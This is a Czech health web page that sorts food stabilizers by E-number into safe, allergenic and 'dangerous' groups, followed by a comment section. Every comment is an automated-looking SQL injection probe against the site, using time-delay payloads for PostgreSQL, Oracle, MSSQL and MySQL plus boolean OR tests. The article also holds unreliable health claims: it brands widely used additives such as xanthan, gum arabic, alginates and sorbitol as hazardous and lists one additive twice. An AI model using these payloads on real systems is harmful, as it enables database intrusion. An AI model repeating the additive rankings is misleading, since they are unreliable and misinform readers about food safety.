Nápověda


Nevíte si s něčím rady? Kontaktujte nás, rádi Vám pomůžeme.

 
 

Stabilizátory v potravinářských výrobcích

Hlasovat Hlasovat Hlasovat Hlasovat Hlasovat
1 45

Stabilizátory pomáhají udržovat v potravinách rovnoměrné rozptýlení různých látek, které se vzájemně nesmíchají. V potravinářském průmyslu se velmi často využívají stabilizátory, které jsou zároveň i želírující látky.

Stabilizátory pomáhají dlouhodobě udržovat fyzikální vlastnosti potravin, především jejich konzistenci a zbarvení. Potraviny se často skládají ze surovin, které se spolu přirozeně nemísí a časem by se bez použití stabilizátorů od sebe oddělily - například kakao by se v kakaovém mléku usadilo na dně. Stabilizátory ale také zajišťují stálost barvy potravin. Nejčastěji používané stabilizátory jsou modifikované škroby a rostlinné gumy, a stabilizační schopnosti mají i některé želírující látky, například želatina nebo pektiny.

Používání různých stabilizátorů je velmi rozšířené a jsou snad ve všech skupinách potravin. Obsahují je zmrzliny, emulgované tuky, emulzní likéry, studené omáčky, deserty a mnoho dalších potravin.

Stabilizátory jsou v několika různých skupinách tzv. E látek. Dělí se na

  • přírodní a přírodně identické
  • polosyntetické a syntetické

 Stabilizátory, které pocházejí z přírodních zdrojů, jsou zcela bezpečné a nemají  žádné negativní účinky na lidské zdraví

  • E 406 - Agar
  • E 417 - Guma tara
  • E 418 - Guma gellan
  • E 425 - Konjaková guma
  • E 336 - Vinany draselné

Přírodní stabilizátory, které mohou způsobit alergické reakce 

  • E 407a - Guma Euchema
  • E 412 - Guma guar

Uměle získané stabilizátory přírodního a živočišného původu a přírodně identické látky

- bez  prokázaných nepříznivých vedlejších účinků na zdraví

  • E 432 - Polyoxyethylensorbitanmonolaurát
  • E 434 - Polyoxyethylensorbitanmonopalmitát
  • E 435 - Polyoxyethylensorbitanmonostearát
  • E 436 - Polyoxyethylensorbitantristearát
  • E 440 - Pektiny
  • E 441 - Želatina
  • E 442 - Fosfatidy amonné
  • E 470 - Sodné, draselné a vápenaté soli mastných kyselin, hořečnaté soli mastných kyselin
  • E 471 - Mono- a diglyceridy mastných kyselin
  • E 472 - Estery mastných kyselin a, b, c, d, e, f
  • E 473 - Estery sacharózy s mastnými kyselinami
  • E 475 - Estery polyglycerolu s mastnými kyselinami
  • E 477 - Estery propylenglykolu s mastnými kyselinami
  • E 481 - Stearoylaktylát sodný
  • E 492 - Tristearát sorbitolu
  • E 493 - Monolaurát sorbitolu
  • E 494 - Monooleát sorbitolu
  • E 495 - Monopalmitát sorbitolu
  • E 572 - Stearan hořečnatý

- způsobující alergické reakce a hyperaktivitu

  • E 433 - Polyoxyethylensorbitanmonooleát
  • E 491 - Monostearát sorbitolu

 Uměle získané stabilizátory přírodního a živočišného původu a syntetické stabilizátory bez vedlejších účinků na zdraví

-  zcela bezpečné

  • E 170 - Uhličitany vápenaté
  • E 263 - Octan vápenatý
  • E 315 - Kyselina erythorbová
  • E 316 - Erythorban sodný
  • E 331 - Citronany sodné
  • E 332 - Citronany draselné
  • E 335 - Vinany sodné
  • E 337 - Vinan sodnodraselný
  • E 410 - Karubin
  • E 460 - Celulózy
  • E 579 - Glukonan železnatý

- bez prokázaných negativních účinků

  • E 339 - Fosforečnany sodné
  • E 340 - Fosforečnany draselné
  • E 340(i) - Dihydrogenfosforečnan draselný
  • E 340(ii) - Monohydrogenfosforečnan draselný
  • E 340(iii) - Fosforečnan draselný
  • E 341 - Fosforečnany vápenaté
  • E 343 - Fosforečnany hořečnaté
  • E 353 - Kyselina metavinná
  • E 380 - Citronan triamonný
  • E 383 - Glycerofosforečnan vápenatý
  • E 444 - Acetát isobutyrát sacharózy
  • E 461 - Methylcelulóza
  • E 463 - Hydroxypropylcelulóza
  • E 464 - Hydroxypropylmethylcelulóza
  • E 465 - Ethylmethylcelulóz
  • E 466 - Karboxymethylcelulóza
  • E 468 - Kroskaramelóza
  • E 469 - Enzymově hydrolyzovaná karboxymethylcelulóza
  • E 482 - Stearoyllaktylát vápenatý
  • E 504 - Uhličitany hořečnaté
  • E 528 - Hydroxid hořečnatý
  • E 953 – Isomalt
  • E 967 - Xylitol
  • E 968 - Erythritol
  • E 1200 - Polydextrosy
  • E 1401 - Škrob pozměněný působením kyseliny
  • E 1402 - Škrob pozměněný působením zásady
  • E 1403 - Bělené škroby
  • E 1404 - Oxidovaný škrob
  • E 1405 - Škrob pozměněný působením enzymů
  • E 1410 - Fosfát škrobu
  • E 1412 - Zesíťovaný fosfát škrobu
  • E 1413 - Fosfát zesíťovaného fosfátu
  • E 1414 - Acetát zasíťovaného fosfátu škrobu
  • E 1420 - Acetát škrobu
  • E 1422 - Acetát zesíťovaného adipátu škrobu
  • E 1440 - Hydroxypropylether škrobu
  • E 1442 - Hydroxypropylether zesíťovaného fosfátu škrobu
  • E 1450 - Sodná sůl oktenylsukcinátu škrobu
  • E 1451 - Acetylovaný oxidovaný škrob

Pro lidský organismus nevhodné stabilizátory

- s podezřením na  možné alergické reakce

  • E 508 - Chlorid draselný
  • E 626 - Kyselina guanylová
  • E 1519 - Benzylalkohol

- způsobující  alergické reakce, hyperaktivita, nevhodné pro děti!

  • E 280 - Kyselina propionová
  • E 281 - Propionan sodný
  • E 320 - Butylhydroxyanisol (BHA)
  • E 321 - Butylhydroxytoluen (BHT)
  • E 325 - Mléčnan sodný
  • E 326 - Mléčnan draselný
  • E 327 - Mléčnan vápenatý
  • E 627 - Guanylan sodný
  • E 628 - Guanylan draselný
  • E 629 - Guanylan vápenatý

 Na zdraví člověka nepříznivě působící stabilizátory s možnou alergickou reakcí

  • E 450 - Difosforečnany
  • E 452 - Polyfosforečnany ( sodný, draselný a vápenatý )
  • E 459 - Beta - cyklodextrin
  • E 512 - Chlorid cínatý
  • E 965 - Maltitol

Stabilizátory s výrazně škodlivými účinky, které jsou považované za nebezpečné. Způsobují alergické reakce a hyperaktivitu, jsou zcela nevhodné pro děti!

  • E 249 - Dusitan draselný
  • E 250 - Dusitan sodný
  • E 251 - Dusičnan sodný
  • E 252 - Dusičnan draselný
  • E 321 - Butylhydroxytoluen (BHT)
  • E 400 - Kyselina alginová
  • E 401 - Alginát sodný
  • E 402 - Alginát draselný
  • E 403 - Alginát amonný
  • E 404 - Alginát vápenatý
  • E 405 - Propylenglykolalginát
  • E 407 - Karagenan
  • E 413 - Tragant
  • E 414 - Arabská guma
  • E 415 - Xanthan
  • E 416 - Guma karaya
  • E 420 - Sorbitol
  • E 421 - Mannitol
  • E 445 - Pryskyřičný ester
  • E 585 - Mléčnan železnatý
  • E 1201 - Polyvinylpyrrolidon (PVP, Povidon)
  • E 1202 - Polyvinylpolypyrrolidon (Síťovaný povidon, PVPP)
  • E 1520 - Propylenglykol

Zakázané stabilizátory

  • E 409 - Arabinnogalaktan
  • E 419 - Guma ghatti
  • E 430 - Polyoxyethylen stearát
  • E 443 - Bromovaný rostlinný olej
  • E 467 - Ethylhydroxyethylcelulóza
  • E 478 - Laktylované estery glycerolu a propandiolu
  • E 539 - Thiosíran sodný
  • E 1411 - Diškrobový glycerol

I když jsou tyto stabilizátory v ČR a EU zakázané, nelze vyloučit, že je nebudou obsahovat potraviny vyrobené mimo země Evropské unie, které byly do ČR a EU dovezené.

Stabilizátory se v mnoha případech kombinují, protože mnohé z nich mají i jiné vlastnosti a působí například jako želírovací prostředky. Převážná většina stabilizátorů není lidské zdraví nijak zásadně neohrožuje. I tak je ale stále poměrně velké množství těchto látek, které na lidský organismus působí negativně, a nebo dokonce mají i škodlivé účinky. Množství, které lze do potravin přidat je samozřejmě určené přísnými předpisy a při konzumaci běžného množství by se projevit nemělo. Spotřebitel by měl vždy z údajů na obalu zkontrolovat, jaké stabilizátory potravina obsahuje a v případě, že v ní jsou látky pro zdraví nevhodné, omezit jejich konzumaci na minimum nebo úplně.

 

 

Komentáře

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

1%2527%2522

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

YkCYpFQP')) OR 84=(SELECT 84 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

TK2YykXr') OR 695=(SELECT 695 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

IaVV3zwe' OR 132=(SELECT 132 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1)) OR 576=(SELECT 576 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-5) OR 962=(SELECT 962 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-5 OR 752=(SELECT 752 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

UlX6Cx8r'; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

1 waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1); waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

if(now()=sysdate(),sleep(15),0)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3*2>(0+5+708-708) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3*2<(0+5+708-708) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 3+708-708-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1" OR 2+708-708-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2>(0+5+521-521) or 'IyTACFeY'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2<(0+5+521-521) or 'IyTACFeY'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3+521-521-1=0+0+0+1 or 'IyTACFeY'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 2+521-521-1=0+0+0+1 or 'IyTACFeY'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2>(0+5+591-591) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3*2<(0+5+591-591) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 3+591-591-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1' OR 2+591-591-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2>(0+5+96-96)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2<(0+5+96-96)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3+96-96-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 2+96-96-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2>(0+5+624-624) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3*2<(0+5+624-624) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 3+624-624-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 10 měsíci

-1 OR 2+624-624-1=0+0+0+1 --

Zdravotní kalkulačka

:
: